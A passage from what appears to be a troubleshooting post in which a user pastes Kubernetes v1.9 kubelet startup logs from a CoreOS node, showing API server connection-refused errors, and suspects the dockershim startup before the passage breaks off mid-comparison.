 flag: --housekeeping-interval=\ 10s\ \r i0102 10:40:08.658472   27429 flags.go:52  flag: --http-check-frequency=\ 20s\ \r i0102 10:40:08.658486   27429 flags.go:52  flag: --image-gc-high-threshold=\ 85\ \r i0102 10:40:08.658499   27429 flags.go:52  flag: --image-gc-low-threshold=\ 80\ \r i0102 10:40:08.658512   27429 flags.go:52  flag: --image-pull-progress-deadline=\ 1m0s\ \r i0102 10:40:08.658525   27429 flags.go:52  flag: --image-service-endpoint=\ \ \r i0102 10:40:08.658537   27429 flags.go:52  flag: --init-config-dir=\ \ \r i0102 10:40:08.658550   27429 flags.go:52  flag: --iptables-drop-bit=\ 15\ \r i0102 10:40:08.658562   27429 flags.go:52  flag: --iptables-masquerade-bit=\ 14\ \r i0102 10:40:08.658575   27429 flags.go:52  flag: --keep-terminated-pod-volumes=\ false\ \r i0102 10:40:08.658601   27429 flags.go:52  flag: --kube-api-burst=\ 10\ \r i0102 10:40:08.658615   27429 flags.go:52  flag: --kube-api-content-type=\ application/vnd.kubernetes.protobuf\ \r i0102 10:40:08.658628   27429 flags.go:52  flag: --kube-api-qps=\ 5\ \r i0102 10:40:08.658642   27429 flags.go:52  flag: --kube-reserved=\ \ \r i0102 10:40:08.658656   27429 flags.go:52  flag: --kube-reserved-cgroup=\ \ \r i0102 10:40:08.658669   27429 flags.go:52  flag: --kubeconfig=\ /etc/kubernetes/master-kubeconfig.yaml\ \r i0102 10:40:08.658684   27429 flags.go:52  flag: --kubelet-cgroups=\ \ \r i0102 10:40:08.658697   27429 flags.go:52  flag: --lock-file=\ \ \r i0102 10:40:08.658711   27429 flags.go:52  flag: --log-backtrace-at=\ :0\ \r i0102 10:40:08.658727   27429 flags.go:52  flag: --log-cadvisor-usage=\ false\ \r i0102 10:40:08.658741   27429 flags.go:52  flag: --log-dir=\ \ \r i0102 10:40:08.658753   27429 flags.go:52  flag: --log-flush-frequency=\ 5s\ \r i0102 10:40:08.658767   27429 flags.go:52  flag: --logtostderr=\ true\ \r i0102 10:40:08.658781   27429 flags.go:52  flag: --machine-id-file=\ /etc/machine-id,/var/lib/dbus/machine-id\ \r i0102 10:40:08.658797   27429 flags.go:52  flag: --make-iptables-util-chains=\ true\ \r i0102 10:40:08.658810   27429 flags.go:52  flag: --manifest-url=\ \ \r i0102 10:40:08.658822   27429 flags.go:52  flag: --manifest-url-header=\ \ \r i0102 10:40:08.658873   27429 flags.go:52  flag: --master-service-namespace=\ default\ \r i0102 10:40:08.658888   27429 flags.go:52  flag: --max-open-files=\ 1000000\ \r i0102 10:40:08.658907   27429 flags.go:52  flag: --max-pods=\ 300\ \r i0102 10:40:08.658920   27429 flags.go:52  flag: --maximum-dead-containers=\ -1\ \r i0102 10:40:08.658934   27429 flags.go:52  flag: --maximum-dead-containers-per-container=\ 1\ \r i0102 10:40:08.658947   27429 flags.go:52  flag: --minimum-container-ttl-duration=\ 0s\ \r i0102 10:40:08.658961   27429 flags.go:52  flag: --minimum-image-ttl-duration=\ 2m0s\ \r i0102 10:40:08.658974   27429 flags.go:52  flag: --network-plugin=\ cni\ \r i0102 10:40:08.658986   27429 flags.go:52  flag: --network-plugin-mtu=\ 0\ \r i0102 10:40:08.658999   27429 flags.go:52  flag: --node-ip=\ \ \r i0102 10:40:08.659011   27429 flags.go:52  flag: --node-labels=\ \ \r i0102 10:40:08.659029   27429 flags.go:52  flag: --node-status-update-frequency=\ 10s\ \r i0102 10:40:08.659042   27429 flags.go:52  flag: --non-masquerade-cidr=\ 10.0.0.0/8\ \r i0102 10:40:08.659055   27429 flags.go:52  flag: --oom-score-adj=\ -999\ \r i0102 10:40:08.659068   27429 flags.go:52  flag: --pod-cidr=\ \ \r i0102 10:40:08.659095   27429 flags.go:52  flag: --pod-infra-container-image=\ gcr.io/google_containers/pause-amd64:3.0\ \r i0102 10:40:08.659110   27429 flags.go:52  flag: --pod-manifest-path=\ /etc/kubernetes/manifests\ \r i0102 10:40:08.659123   27429 flags.go:52  flag: --pods-per-core=\ 0\ \r i0102 10:40:08.659136   27429 flags.go:52  flag: --port=\ 10250\ \r i0102 10:40:08.659150   27429 flags.go:52  flag: --protect-kernel-defaults=\ false\ \r i0102 10:40:08.659163   27429 flags.go:52  flag: --provider-id=\ \ \r i0102 10:40:08.659176   27429 flags.go:52  flag: --read-only-port=\ 10255\ \r i0102 10:40:08.659189   27429 flags.go:52  flag: --really-crash-for-testing=\ false\ \r i0102 10:40:08.659202   27429 flags.go:52  flag: --register-node=\ true\ \r i0102 10:40:08.659215   27429 flags.go:52  flag: --register-schedulable=\ false\ \r i0102 10:40:08.659228   27429 flags.go:52  flag: --register-with-taints=\ \ \r i0102 10:40:08.659247   27429 flags.go:52  flag: --registry-burst=\ 10\ \r i0102 10:40:08.659260   27429 flags.go:52  flag: --registry-qps=\ 5\ \r i0102 10:40:08.659273   27429 flags.go:52  flag: --require-kubeconfig=\ false\ \r i0102 10:40:08.659285   27429 flags.go:52  flag: --resolv-conf=\ /etc/resolv.conf\ \r i0102 10:40:08.659298   27429 flags.go:52  flag: --rkt-api-endpoint=\ localhost:15441\ \r i0102 10:40:08.659311   27429 flags.go:52  flag: --rkt-path=\ \ \r i0102 10:40:08.659323   27429 flags.go:52  flag: --rkt-stage1-image=\ \ \r i0102 10:40:08.659335   27429 flags.go:52  flag: --root-dir=\ /var/lib/kubelet\ \r i0102 10:40:08.659348   27429 flags.go:52  flag: --rotate-certificates=\ false\ \r i0102 10:40:08.659361   27429 flags.go:52  flag: --runonce=\ false\ \r i0102 10:40:08.659374   27429 flags.go:52  flag: --runtime-cgroups=\ \ \r i0102 10:40:08.659386   27429 flags.go:52  flag: --runtime-request-timeout=\ 2m0s\ \r i0102 10:40:08.659400   27429 flags.go:52  flag: --seccomp-profile-root=\ /var/lib/kubelet/seccomp\ \r i0102 10:40:08.659413   27429 flags.go:52  flag: --serialize-image-pulls=\ true\ \r i0102 10:40:08.659426   27429 flags.go:52  flag: --stderrthreshold=\ 2\ \r i0102 10:40:08.659439   27429 flags.go:52  flag: --storage-driver-buffer-duration=\ 1m0s\ \r i0102 10:40:08.659453   27429 flags.go:52  flag: --storage-driver-db=\ cadvisor\ \r i0102 10:40:08.659467   27429 flags.go:52  flag: --storage-driver-host=\ localhost:8086\ \r i0102 10:40:08.659480   27429 flags.go:52  flag: --storage-driver-password=\ root\ \r i0102 10:40:08.659492   27429 flags.go:52  flag: --storage-driver-secure=\ false\ \r i0102 10:40:08.659505   27429 flags.go:52  flag: --storage-driver-table=\ stats\ \r i0102 10:40:08.659533   27429 flags.go:52  flag: --storage-driver-user=\ root\ \r i0102 10:40:08.659546   27429 flags.go:52  flag: --streaming-connection-idle-timeout=\ 4h0m0s\ \r i0102 10:40:08.659560   27429 flags.go:52  flag: --sync-frequency=\ 1m0s\ \r i0102 10:40:08.659574   27429 flags.go:52  flag: --system-cgroups=\ \ \r i0102 10:40:08.659587   27429 flags.go:52  flag: --system-reserved=\ \ \r i0102 10:40:08.659601   27429 flags.go:52  flag: --system-reserved-cgroup=\ \ \r i0102 10:40:08.659613   27429 flags.go:52  flag: --tls-cert-file=\ \ \r i0102 10:40:08.659625   27429 flags.go:52  flag: --tls-private-key-file=\ \ \r i0102 10:40:08.659637   27429 flags.go:52  flag: --v=\ 5\ \r i0102 10:40:08.659649   27429 flags.go:52  flag: --version=\ false\ \r i0102 10:40:08.659668   27429 flags.go:52  flag: --vmodule=\ \ \r i0102 10:40:08.659682   27429 flags.go:52  flag: --volume-plugin-dir=\ /usr/libexec/kubernetes/kubelet-plugins/volume/exec/\ \r i0102 10:40:08.659697   27429 flags.go:52  flag: --volume-stats-agg-period=\ 1m0s\ \r i0102 10:40:08.659763   27429 feature_gate.go:220  feature gates: &{{} map streamingproxyredirects:true }\r i0102 10:40:08.659823   27429 controller.go:114  kubelet config controller: starting controller\r i0102 10:40:08.659852   27429 controller.go:118  kubelet config controller: validating combination of defaults and flags\r i0102 10:40:08.674475   27429 mount_linux.go:202  detected os with systemd\r i0102 10:40:08.679003   27429 iptables.go:589  couldn't get iptables-restore version; assuming it doesn't support --wait\r i0102 10:40:08.682023   27429 server.go:182  version: v1.9.0\r i0102 10:40:08.682114   27429 feature_gate.go:220  feature gates: &{{} map streamingproxyredirects:true }\r i0102 10:40:08.682353   27429 plugins.go:101  no cloud provider specified.\r i0102 10:40:08.682387   27429 server.go:303  no cloud provider specified: \ \  from the config file: \ \ \r i0102 10:40:08.687122   27429 manager.go:151  cadvisor running in container: \ /sys/fs/cgroup/cpu,cpuacct/system.slice/kubelet.service\ \r i0102 10:40:08.725627   27429 manager.go:163  rkt not connected: rkt: cannot tcp dial rkt api service: dial tcp 127.0.0.1:15441: getsockopt: connection refused\r i0102 10:40:08.725933   27429 manager.go:174  cri-o not connected: get http://%2fvar%2frun%2fcrio%2fcrio.sock/info: dial unix /var/run/crio/crio.sock: connect: no such file or directory\r i0102 10:40:08.776823   27429 fs.go:139  filesystem uuids: map 0aafd8c1-8cc3-4274-9487-300411d6edd3:/dev/sda9 4059e708-60c5-4677-9959-22bcccf65c44:/dev/sda3 4b2fc952-8015-4483-882a-30f39153e865:/dev/sde1 58e2612b-c282-4681-aeb0-3cd01d7c2279:/dev/sdv1 75e9e027-195e-47ef-9a9d-a0bd303b72cd:/dev/sdl1 85367522-1a8c-45d2-b230-fb2510bd69c5:/dev/sdg1 9c211f3d-fcde-4672-8b85-456e7c37b9d6:/dev/sds1 a6c8bbdb-fa81-483b-bfd2-fc2a6ca2d783:/dev/sdj1 bb3b292f-a93b-4b5d-92d7-34d38dd9b78b:/dev/sdk1 c360b1bb-6870-476b-974d-6e9bf3d4aca8:/dev/sdn1 dc2d8740-d413-45af-968e-ad7610f4de10:/dev/sdd1 0b65e6d4-4128-4fd5-8b5d-aea276f9034e:/dev/dm-0 24c4c4c2-eb3a-471c-b979-c53c6fe0d826:/dev/sdr1 7fa0-0330:/dev/sda1 8a9f86b1-dc6b-49fe-bd77-023716dba052:/dev/sdh1 a51f32ea-fd44-438b-96e2-07408f1b91aa:/dev/sdp1 c9345585-a8df-4d56-aa23-7e8898bf5273:/dev/sdf1 272d1754-405b-4fc2-b39f-f01c6b5bd2fd:/dev/sda6 4581e8ab-affe-460f-a6cb-4a06664f6829:/dev/sdc1 4f90648e-7ffa-4c05-8775-c1de133217ef:/dev/sdb1 6c1f2abf-111d-4797-985b-2a11ebdd76cf:/dev/sdq1 7a9b635b-1ae0-4d0f-8737-86bb190d47de:/dev/sdu1 d12cd494-1671-4f90-9048-96824bde3fda:/dev/sdo1 85b9ca5d-39d4-4836-abcf-e355d013d739:/dev/sdm1 98d38fd0-fcdc-497f-8d02-de38cc8fa78b:/dev/sdt1 c35e9bbf-fd16-4daf-8117-2f94d9f9b4ed:/dev/sdi1 \r i0102 10:40:08.777026   27429 fs.go:140  filesystem partitions: map /dev/mapper/usr:{mountpoint:/usr major:254 minor:0 fstype:ext4 blocksize:0} none:{mountpoint:/run/torcx/unpack major:0 minor:36 fstype:tmpfs blocksize:0} /dev/sda6:{mountpoint:/usr/share/oem major:8 minor:6 fstype:ext4 blocksize:0} shm:{mountpoint:/var/lib/docker/containers/ac6e4e4b433279771fc651047c6223e2193b094e6a50dd23ac3c8b648a8e78f0/shm major:0 minor:56 fstype:tmpfs blocksize:0} tmpfs:{mountpoint:/dev/shm major:0 minor:19 fstype:tmpfs blocksize:0} /dev/sda9:{mountpoint:/var/lib/docker/overlay2 major:8 minor:9 fstype:ext4 blocksize:0} \r i0102 10:40:12.794808   27429 manager.go:225  machine: {numcores:24 cpufrequency:3000000 memorycapacity:67578486784 hugepages: {pagesize:1048576 numpages:0} {pagesize:2048 numpages:0}  machineid:c5abdafb5f19428caf66bcc1fa8e2a2d systemuuid:4c4c4544-0032-4810-8034-cac04f385931 bootid:9b99e13e-0939-4079-a467-89208155a0aa filesystems: {device:none devicemajor:0 deviceminor:36 capacity:33789243392 type:vfs inodes:8249327 hasinodes:true} {device:/dev/sda6 devicemajor:8 deviceminor:6 capacity:113229824 type:vfs inodes:32768 hasinodes:true} {device:shm devicemajor:0 deviceminor:56 capacity:67108864 type:vfs inodes:8249327 hasinodes:true} {device:tmpfs devicemajor:0 deviceminor:19 capacity:33789243392 type:vfs inodes:8249327 hasinodes:true} {device:/dev/sda9 devicemajor:8 deviceminor:9 capacity:120928075776 type:vfs inodes:30328256 hasinodes:true} {device:/dev/mapper/usr devicemajor:254 deviceminor:0 capacity:1031946240 type:vfs inodes:260096 hasinodes:true}  diskmap:map 8:0:{name:sda major:8 minor:0 size:127372623872 scheduler:deadline} 8:32:{name:sdc major:8 minor:32 size:119453777920 scheduler:deadline} 8:48:{name:sdd major:8 minor:48 size:119453777920 scheduler:deadline} 8:80:{name:sdf major:8 minor:80 size:249510756352 scheduler:deadline} 8:160:{name:sdk major:8 minor:160 size:499558383616 scheduler:deadline} 8:224:{name:sdo major:8 minor:224 size:146163105792 scheduler:deadline} 8:240:{name:sdp major:8 minor:240 size:146163105792 scheduler:deadline} 65:80:{name:sdv major:65 minor:80 size:146163105792 scheduler:deadline} 254:0:{name:dm-0 major:254 minor:0 size:1065345024 scheduler:none} 8:16:{name:sdb major:8 minor:16 size:239444426752 scheduler:deadline} 8:208:{name:sdn major:8 minor:208 size:146163105792 scheduler:deadline} 65:16:{name:sdr major:65 minor:16 size:146163105792 scheduler:deadline} 65:64:{name:sdu major:65 minor:64 size:146163105792 scheduler:deadline} 8:112:{name:sdh major:8 minor:112 size:119453777920 scheduler:deadline} 8:144:{name:sdj major:8 minor:144 size:249510756352 scheduler:deadline} 8:176:{n\r ame:sdl major:8 minor:176 size:146163105792 scheduler:deadline} 8:192:{name:sdm major:8 minor:192 size:146163105792 scheduler:deadline} 65:0:{name:sdq major:65 minor:0 size:146163105792 scheduler:deadline} 65:48:{name:sdt major:65 minor:48 size:146163105792 scheduler:deadline} 8:64:{name:sde major:8 minor:64 size:239444426752 scheduler:deadline} 8:96:{name:sdg major:8 minor:96 size:249510756352 scheduler:deadline} 8:128:{name:sdi major:8 minor:128 size:119453777920 scheduler:deadline} 65:32:{name:sds major:65 minor:32 size:146163105792 scheduler:deadline}  networkdevices: {name:bond0 macaddress:36:7b:3b:27:3c:ae speed:40000 mtu:9000} {name:bond2 macaddress:1e:b5:35:d7:07:5a speed:2000 mtu:9000} {name:br-3b4b583e4a33 macaddress:02:42:da:28:e1:5a speed:0 mtu:1500} {name:eno1 macaddress:b8:ca:3a:ee:ad:b8 speed:1000 mtu:1500} {name:eno2 macaddress:1e:b5:35:d7:07:5a speed:1000 mtu:9000} {name:eno3 macaddress:1e:b5:35:d7:07:5a speed:1000 mtu:9000} {name:eno4 macaddress:b8:ca:3a:ee:ad:bb speed:1000 mtu:1500} {name:enp4s0f0 macaddress:36:7b:3b:27:3c:ae speed:10000 mtu:9000} {name:enp4s0f1 macaddress:36:7b:3b:27:3c:ae speed:10000 mtu:9000} {name:enp66s0f0 macaddress:36:7b:3b:27:3c:ae speed:10000 mtu:9000} {name:enp66s0f1 macaddress:36:7b:3b:27:3c:ae speed:10000 mtu:9000} {name:flannel.1 macaddress:1a:b1:6e:f0:97:96 speed:0 mtu:1500}  topology: {id:0 memory:33759969280 cores: {id:0 threads: 0 12  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} } {id:1 threads: 2 14  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} } {id:2 threads: 4 16  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} } {id:3 threads: 6 18  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} } {id:4 threads: 8 20  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:uni\r fied level:2} } {id:5 threads: 10 22  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} }  caches: {size:15728640 type:unified level:3} } {id:1 memory:33818517504 cores: {id:0 threads: 1 13  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} } {id:1 threads: 3 15  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} } {id:2 threads: 5 17  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} } {id:3 threads: 7 19  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} } {id:4 threads: 9 21  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} } {id:5 threads: 11 23  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} }  caches: {size:15728640 type:unified level:3} }  cloudprovider:gce instancetype:unknown instanceid:unknown}\r i0102 10:40:12.797535   27429 manager.go:231  version: {kernelversion:4.13.16-coreos-r2 containerosversion:container linux by coreos 1576.4.0  ladybug  dockerversion:17.09.0-ce dockerapiversion:1.32 cadvisorversion: cadvisorrevision:}\r i0102 10:40:12.799436   27429 server.go:233  sending events to api server.\r i0102 10:40:12.799568   27429 server.go:428  --cgroups-per-qos enabled, but --cgroup-root was not specified.  defaulting to /\r i0102 10:40:12.803310   27429 container_manager_linux.go:242  container manager verified user specified cgroup-root exists: /\r i0102 10:40:12.803347   27429 container_manager_linux.go:247  creating container manager object based on node config: {runtimecgroupsname: systemcgroupsname: kubeletcgroupsname: containerruntime:docker cgroupsperqos:true cgrouproot:/ cgroupdriver:cgroupfs kubeletrootdir:/var/lib/kubelet protectkerneldefaults:false nodeallocatableconfig:{kubereservedcgroupname: systemreservedcgroupname: enforcenodeallocatable:map pods:{}  kubereserved:map   systemreserved:map   hardevictionthresholds: {signal:memory.available operator:lessthan value:{quantity:100mi percentage:0} graceperiod:0s minreclaim:<nil>} {signal:nodefs.available operator:lessthan value:{quantity:<nil> percentage:0.1} graceperiod:0s minreclaim:<nil>} {signal:nodefs.inodesfree operator:lessthan value:{quantity:<nil> percentage:0.05} graceperiod:0s minreclaim:<nil>} {signal:imagefs.available operator:lessthan value:{quantity:<nil> percentage:0.15} graceperiod:0s minreclaim:<nil>} } experimentalqosreserved:map   experimentalcpumanagerpolicy:none experimentalcpumanagerreconcileperiod:10s}\r i0102 10:40:12.803557   27429 container_manager_linux.go:266  creating device plugin manager: false\r i0102 10:40:12.803612   27429 oom_linux.go:65  attempting to set \ /proc/self/oom_score_adj\  to \ -999\ \r i0102 10:40:12.803866   27429 server.go:693  using root directory: /var/lib/kubelet\r i0102 10:40:12.803914   27429 kubelet.go:290  adding manifest path: /etc/kubernetes/manifests\r i0102 10:40:12.803955   27429 file.go:52  watching path \ /etc/kubernetes/manifests\ \r i0102 10:40:12.803980   27429 kubelet.go:313  watching apiserver\r i0102 10:40:12.804170   27429 reflector.go:202  starting reflector  v1.pod  0s  from k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47\r i0102 10:40:12.804290   27429 reflector.go:202  starting reflector  v1.service  0s  from k8s.io/kubernetes/pkg/kubelet/kubelet.go:465\r i0102 10:40:12.804256   27429 file.go:161  reading manifest file \ /etc/kubernetes/manifests/kube-apiserver.yaml\ \r i0102 10:40:12.804369   27429 reflector.go:240  listing and watching  v1.service from k8s.io/kubernetes/pkg/kubelet/kubelet.go:465\r i0102 10:40:12.804379   27429 reflector.go:202  starting reflector  v1.node  0s  from k8s.io/kubernetes/pkg/kubelet/kubelet.go:474\r i0102 10:40:12.804450   27429 reflector.go:240  listing and watching  v1.node from k8s.io/kubernetes/pkg/kubelet/kubelet.go:474\r i0102 10:40:12.804298   27429 reflector.go:240  listing and watching  v1.pod from k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47\r e0102 10:40:12.805467   27429 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get http://127.0.0.1:8080/api/v1/pods?fieldselector=spec.nodename%3dblade33&limit=500&resourceversion=0: dial tcp 127.0.0.1:8080: getsockopt: connection refused\r e0102 10:40:12.805526   27429 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:465: failed to list  v1.service: get http://127.0.0.1:8080/api/v1/services?limit=500&resourceversion=0: dial tcp 127.0.0.1:8080: getsockopt: connection refused\r e0102 10:40:12.805571   27429 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:474: failed to list  v1.node: get http://127.0.0.1:8080/api/v1/nodes?fieldselector=metadata.name%3dblade33&limit=500&resourceversion=0: dial tcp 127.0.0.1:8080: getsockopt: connection refused\r i0102 10:40:12.808369   27429 iptables.go:589  couldn't get iptables-restore version; assuming it doesn't support --wait\r w0102 10:40:12.809780   27429 kubelet_network.go:139  hairpin mode set to \ promiscuous-bridge\  but kubenet is not enabled, falling back to \ hairpin-veth\ \r i0102 10:40:12.809830   27429 kubelet.go:571  hairpin mode set to \ hairpin-veth\ \r i0102 10:40:12.810260   27429 plugins.go:190  loaded network plugin \ cni\ \r i0102 10:40:12.810322   27429 client.go:80  connecting to docker on unix:///var/run/docker.sock\r i0102 10:40:12.810371   27429 client.go:109  start docker client with request timeout=2m0s\r i0102 10:40:12.817307   27429 iptables.go:589  couldn't get iptables-restore version; assuming it doesn't support --wait\r i0102 10:40:12.818814   27429 plugins.go:190  loaded network plugin \ cni\ \r i0102 10:40:12.818949   27429 docker_service.go:232  docker cri networking managed by cni\r i0102 10:40:12.856321   27429 docker_service.go:237  docker info: &{id:oskt:r676:3xmt:554k:2hwv:5dhn:wfbn:5ixb:wvo5:v34a:pus5:m6m7 containers:25 containersrunning:24 containerspaused:0 containersstopped:1 images:9 driver:overlay2 driverstatus:  backing filesystem extfs   supports d_type true   native overlay diff true   systemstatus:   plugins:{volume: local  network: bridge host macvlan null overlay  authorization:   log: awslogs fluentd gcplogs gelf journald json-file logentries splunk syslog } memorylimit:true swaplimit:true kernelmemory:true cpucfsperiod:true cpucfsquota:true cpushares:true cpuset:true ipv4forwarding:true bridgenfiptables:true bridgenfip6tables:true debug:false nfd:215 oomkilldisable:true ngoroutines:363 systemtime:2018-01-02t10:40:12.831429298-05:00 loggingdriver:json-file cgroupdriver:cgroupfs neventslistener:0 kernelversion:4.13.16-coreos-r2 operatingsystem:container linux by coreos 1576.4.0  ladybug  ostype:linux architecture:x86_64 indexserveraddress:https://index.docker.io/v1/ registryconfig:0xc420350070 ncpu:24 memtotal:67578486784 genericresources:   dockerrootdir:/var/lib/docker httpproxy: httpsproxy: noproxy: name:blade33 labels:   experimentalbuild:false serverversion:17.09.0-ce clusterstore: clusteradvertise: runtimes:map runc:{path:docker-runc args:  }  defaultruntime:runc swarm:{nodeid: nodeaddr: localnodestate:inactive controlavailable:false error: remotemanagers:   nodes:0 managers:0 cluster:<nil>} liverestoreenabled:false isolation: initbinary:docker-init containerdcommit:{id:06b9cb35161009dcb7123345749fef02f7cea8e0 expected:06b9cb35161009dcb7123345749fef02f7cea8e0} runccommit:{id:3f2f8b84a77f73d38244dd690525642a72156c64 expected:3f2f8b84a77f73d38244dd690525642a72156c64} initcommit:{id:v0.13.2 expected:949e6facb77383876aeff8a6944dde66b3089574} securityoptions: name=seccomp,profile=default name=selinux }\r i0102 10:40:12.857178   27429 docker_service.go:250  setting cgroupdriver to cgroupfs\r i0102 10:40:12.857767   27429 kubelet.go:645  remoteruntimeendpoint: \ unix:///var/run/dockershim.sock\ , remoteimageendpoint: \ unix:///var/run/dockershim.sock\ \r i0102 10:40:12.858177   27429 kubelet.go:648  starting the grpc server for the docker cri shim.\r i0102 10:40:12.858258   27429 docker_server.go:51  start dockershim grpc server\r i0102 10:40:12.859881   27429 container_manager_linux.go:756  attempting to apply oom_score_adj of -999 to pid 15746\r i0102 10:40:12.859935   27429 oom_linux.go:65  attempting to set \ /proc/15746/oom_score_adj\  to \ -999\ \r i0102 10:40:12.894861   27429 remote_runtime.go:43  connecting to runtime service unix:///var/run/dockershim.sock\r i0102 10:40:12.895051   27429 remote_image.go:40  connecting to image service unix:///var/run/dockershim.sock\r i0102 10:40:12.898509   27429 metadata.go:212  failed to get service accounts from gce metadata server: get http://metadata.google.internal./computemetadata/v1/instance/service-accounts/: dial tcp: lookup metadata.google.internal.: no such host\r i0102 10:40:12.906175   27429 common.go:61  generated uid \ ab46c8ff7fc9329d274700bb52b10271\  pod \ kube-apiserver\  from /etc/kubernetes/manifests/kube-apiserver.yaml\r i0102 10:40:12.906230   27429 common.go:65  generated name \ kube-apiserver-blade33\  for uid \ ab46c8ff7fc9329d274700bb52b10271\  from url /etc/kubernetes/manifests/kube-apiserver.yaml\r i0102 10:40:12.906249   27429 common.go:70  using namespace \ kube-system\  for pod \ kube-apiserver-blade33\  from /etc/kubernetes/manifests/kube-apiserver.yaml\r i0102 10:40:12.906603   27429 file.go:161  reading manifest file \ /etc/kubernetes/manifests/kube-controller-manager.yaml\ \r i0102 10:40:12.907854   27429 common.go:61  generated uid \ 55b5250678593c2bb8ecb21b099122ec\  pod \ kube-controller-manager\  from /etc/kubernetes/manifests/kube-controller-manager.yaml\r i0102 10:40:12.907888   27429 common.go:65  generated name \ kube-controller-manager-blade33\  for uid \ 55b5250678593c2bb8ecb21b099122ec\  from url /etc/kubernetes/manifests/kube-controller-manager.yaml\r i0102 10:40:12.907918   27429 common.go:70  using namespace \ kube-system\  for pod \ kube-controller-manager-blade33\  from /etc/kubernetes/manifests/kube-controller-manager.yaml\r i0102 10:40:12.908084   27429 file.go:161  reading manifest file \ /etc/kubernetes/manifests/kube-proxy.yaml\ \r i0102 10:40:12.908876   27429 common.go:61  generated uid \ 94b66253e8b6eacf62bc9150c9c94b95\  pod \ kube-proxy\  from /etc/kubernetes/manifests/kube-proxy.yaml\r i0102 10:40:12.908908   27429 common.go:65  generated name \ kube-proxy-blade33\  for uid \ 94b66253e8b6eacf62bc9150c9c94b95\  from url /etc/kubernetes/manifests/kube-proxy.yaml\r i0102 10:40:12.908924   27429 common.go:70  using namespace \ kube-system\  for pod \ kube-proxy-blade33\  from /etc/kubernetes/manifests/kube-proxy.yaml\r i0102 10:40:12.909068   27429 file.go:161  reading manifest file \ /etc/kubernetes/manifests/kube-scheduler.yaml\ \r i0102 10:40:12.909851   27429 common.go:61  generated uid \ 5580a82cadf9f5891498c5779588a229\  pod \ kube-scheduler\  from /etc/kubernetes/manifests/kube-scheduler.yaml\r i0102 10:40:12.909885   27429 common.go:65  generated name \ kube-scheduler-blade33\  for uid \ 5580a82cadf9f5891498c5779588a229\  from url /etc/kubernetes/manifests/kube-scheduler.yaml\r i0102 10:40:12.909901   27429 common.go:70  using namespace \ kube-system\  for pod \ kube-scheduler-blade33\  from /etc/kubernetes/manifests/kube-scheduler.yaml\r i0102 10:40:12.910081   27429 config.go:297  setting pods for source file\r i0102 10:40:12.910147   27429 config.go:405  receiving a new pod \ kube-apiserver-blade33_kube-system ab46c8ff7fc9329d274700bb52b10271 \ \r i0102 10:40:12.910184   27429 config.go:405  receiving a new pod \ kube-controller-manager-blade33_kube-system 55b5250678593c2bb8ecb21b099122ec \ \r i0102 10:40:12.910207   27429 config.go:405  receiving a new pod \ kube-proxy-blade33_kube-system 94b66253e8b6eacf62bc9150c9c94b95 \ \r i0102 10:40:12.910227   27429 config.go:405  receiving a new pod \ kube-scheduler-blade33_kube-system 5580a82cadf9f5891498c5779588a229 \ \r i0102 10:40:13.000563   27429 metadata.go:212  failed to get service accounts from gce metadata server: get http://metadata.google.internal./computemetadata/v1/instance/service-accounts/: dial tcp: lookup metadata.google.internal.: no such host\r i0102 10:40:13.202510   27429 metadata.go:212  failed to get service accounts from gce metadata server: get http://metadata.google.internal./computemetadata/v1/instance/service-accounts/: dial tcp: lookup metadata.google.internal.: no such host\r i0102 10:40:13.604543   27429 metadata.go:212  failed to get service accounts from gce metadata server: get http://metadata.google.internal./computemetadata/v1/instance/service-accounts/: dial tcp: lookup metadata.google.internal.: no such host\r i0102 10:40:13.805770   27429 reflector.go:240  listing and watching  v1.pod from k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47\r e0102 10:40:13.806743   27429 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get http://127.0.0.1:8080/api/v1/pods?fieldselector=spec.nodename%3dblade33&limit=500&resourceversion=0: dial tcp 127.0.0.1:8080: getsockopt: connection refused\r i0102 10:40:13.806800   27429 reflector.go:240  listing and watching  v1.service from k8s.io/kubernetes/pkg/kubelet/kubelet.go:465\r e0102 10:40:13.807506   27429 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:465: failed to list  v1.service: get http://127.0.0.1:8080/api/v1/services?limit=500&resourceversion=0: dial tcp 127.0.0.1:8080: getsockopt: connection refused\r    \r \r after days of debugging, i believe it has to do with these lines in the logs:\r    \r i0102 10:40:12.857178   27429 docker_service.go:250  setting cgroupdriver to cgroupfs\r i0102 10:40:12.857767   27429 kubelet.go:645  remoteruntimeendpoint: \ unix:///var/run/dockershim.sock\ , remoteimageendpoint: \ unix:///var/run/dockershim.sock\ \r i0102 10:40:12.858177   27429 kubelet.go:648  starting the grpc server for the docker cri shim.\r i0102 10:40:12.858258   27429 docker_server.go:51  start dockershim grpc server\r i0102 10:40:12.859881   27429 container_manager_linux.go:756  attempting to apply oom_score_adj of -999 to pid 15746\r i0102 10:40:12.859935   27429 oom_linux.go:65  attempting to set \ /proc/15746/oom_score_adj\  to \ -999\ \r i0102 10:40:12.894861   27429 remote_runtime.go:43  connecting to runtime service unix:///var/run/dockershim.sock\r i0102 10:40:12.895051   27429 remote_image.go:40  connecting to image service unix:///var/run/dockershim.sock\r    \r \r when it tries to connect to the docker-shim which it creates, on the other machines it looks like this:\r    \r i0102 